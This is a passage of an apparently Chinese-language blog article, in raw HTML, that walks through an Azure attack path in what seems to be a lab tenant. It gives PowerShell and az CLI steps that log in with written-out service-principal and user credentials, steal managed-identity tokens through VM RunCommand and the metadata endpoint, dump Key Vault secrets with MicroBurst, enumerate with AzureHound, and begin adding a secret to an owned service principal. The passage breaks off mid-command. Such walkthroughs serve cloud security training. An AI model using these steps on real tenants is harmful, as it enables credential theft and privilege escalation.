src="https://wechat2rss.xlab.app/img-proxy/?k=c7472f06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaWBbiaaJ7Zg6wh5h4uPt0S40oCyPeVkdYpxKHsQ1FUFXfdVohiaOibUXQmqGQcbbu8XqVibb4TRqAacZ6lziaZZE5fzQO2Hs8yy7ac%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Runbook 转储结果</span></figcaption></figure><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">7. 作为服务主体进行身份验证</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzADServicePrincipal</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">DisplayName VMContributor</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">AppID</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;a30bc8bd-602a-49b2-9708-45a3792a629a&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Secret</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;TDX3P4SKvg6WHKk4a_Ltko2w~dy.xKytdg&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">TenantID</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;2230b2b1-298b-4b13-9de5-852b1d16f118&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">SecureStringPWD</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ConvertTo-SecureString</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Secret</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">AsPlainText </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Force</span><br/><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">PSCredential</span></span><span leaf="">]</span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Credentials</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">New-Object</span></span><span leaf=""> System.Management.Automation.PSCredential (</span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">AppID</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">,</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">SecureStringPWD</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Connect-AzAccount</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Credential </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Credentials</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ServicePrincipal </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Tenant </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">TenantID</span></span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">az login --service-principal -u a30bc8bd-602a-49b2-9708-45a3792a629a -p </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;TDX3P4SKvg6WHKk4a_Ltko2w~dy.xKytdg&#34;</span></span><span leaf=""> -t 2230b2b1-298b-4b13-9de5-852b1d16f118</span></code></pre><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (订阅上的虚拟机参与者)</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用的工具：PowerShell、AzureAD Module、MicroBurst</span></p><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">8. 搜索虚拟机</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">VMs</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzVM</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Status </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Where-Object</span></span><span leaf=""> {(</span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">_</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.PowerState</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-EQ</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;VM running&#34;</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">-and</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">_</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.StorageProfile.OSDisk.OSType</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-eq</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Windows&#34;</span></span><span leaf="">)}</span></code></pre><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">9. 创建名为 &#34;jobs.ps1&#34; 的脚本并保存以下代码</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">Invoke-WebRequest</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Uri </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;<a href="http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/" target="_blank">http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/</a>&#39;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Method GET </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Headers </span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span leaf="">{</span><span style="color: rgb(36, 41, 46);"><span leaf="">Metadata</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;true&#34;</span></span><span leaf="">} </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">UseBasicParsing).Content</span><br/><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">Invoke-WebRequest</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Uri </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;<a href="http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://vault.azure.net" target="_blank">http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://vault.azure.net</a>&#39;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Method GET </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Headers </span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span leaf="">{</span><span style="color: rgb(36, 41, 46);"><span leaf="">Metadata</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;true&#34;</span></span><span leaf="">} </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">UseBasicParsing).Content</span></code></pre><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">10. 通过 RunCommand 功能执行脚本，以发现虚拟机是否附加并配置了托管标识</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">VMs</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Invoke-AzVMRunCommand</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">CommandId </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;RunPowershellScript&#39;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ScriptPath .\jobs.ps1</span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="令牌转储结果" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012259" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=da7c3e9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShgkcD1M30UCAP4mmUdNhsUwjU4rmshUpvtcR8ibDa2UmWB53FNnYrq2I1qFsQ5vGS3ibXa55LG4MW6NUic8EgtJLsRHJUCShskKc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">令牌转储结果</span></figcaption></figure><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">11. 将令牌保存为变量</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">mgmtToken</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;eyJ0eXAiOiJKV1Qi&lt;snip&gt;UzJQ6BJIQQ0n2KC1BtyF2bq1FeJui9GFVg&#34;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">vaultToken</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;eyJ0eXAi&lt;snip&gt;OiJKV1QiLCJgY_yUItxfXZqSM_05p1n03Q&#34;</span></span></code></pre><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">12. 使用 MicroBurst 转储密钥保管库机密</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">cd .\MicroBurst\REST</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Import-Module</span></span><span leaf=""> .\MicroBurst</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">AzureREST.psm1</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzKeyVaultSecretsREST</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">managementToken </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">mgmtToken</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">vaultToken </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">vaultToken</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Verbose </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">SubscriptionId (</span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzContext</span></span><span leaf="">).Subscription.Id</span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="托管标识密钥保管库转储" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012256" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=42fc66ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiax9DmnQKS2m6GSwsXWiaFqQQelftg1KgyRicEhR9rnog8d1ib9fT0ZBzwmv1MpKlE2RmTic33aSAvBS5X2xwkftKm0ywWCGDBeYhU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">托管标识密钥保管库转储</span></figcaption></figure><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">13. 作为被泄露的用户 &#34;AppOwner&#34; 进行身份验证</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># User = AppOwner@adsikkerhed.dk</span></span><br/><span style="color: rgb(106, 115, 125);"><span leaf=""># Password = oRSTyQnaSa62%ldxlVo3Wx&amp;2t!</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Credentials</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-Credential</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Connect-AzureAD</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Credential </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Credentials</span></span></code></pre><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">14. 枚举 (AzureHound) 并发现应用注册及其服务主体的所有权</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">wget https:</span><span style="color: rgb(215, 58, 73);"><span leaf="">//</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">raw.githubusercontent.com</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">BloodHoundAD</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">BloodHound</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">master</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">Collectors</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">AzureHound.ps1 </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">OutFile AzureHound.ps1 </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">UseBasicParsing</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Import-Module</span></span><span leaf=""> .\AzureHound.ps1</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">path</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-Location</span></span><span leaf="">).Path</span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;\output&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Invoke-AzureHound</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">OutputDirectory </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">path</span></span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="应用所有者信息" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012257" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ddf820c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgHDTARK6icl2gpn9oSp3t0a7wDzthIYeRCVRiaFGNX8Jlg7GzgPg8Z9WLLpv7WAaIMWsR72QPOiclSx1wbVnYAHxzvcKAdy0Omiac%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">应用所有者信息</span></figcaption></figure><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">15. 为拥有的服务主体添加机密</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ServicePrincipal</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzureADServicePrincipal</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Filter </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;DisplayName eq &#39;HackingApp&#39;&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzureADServicePrincipalPasswordCredential</span></span><span style="color: rgb(215, 58, 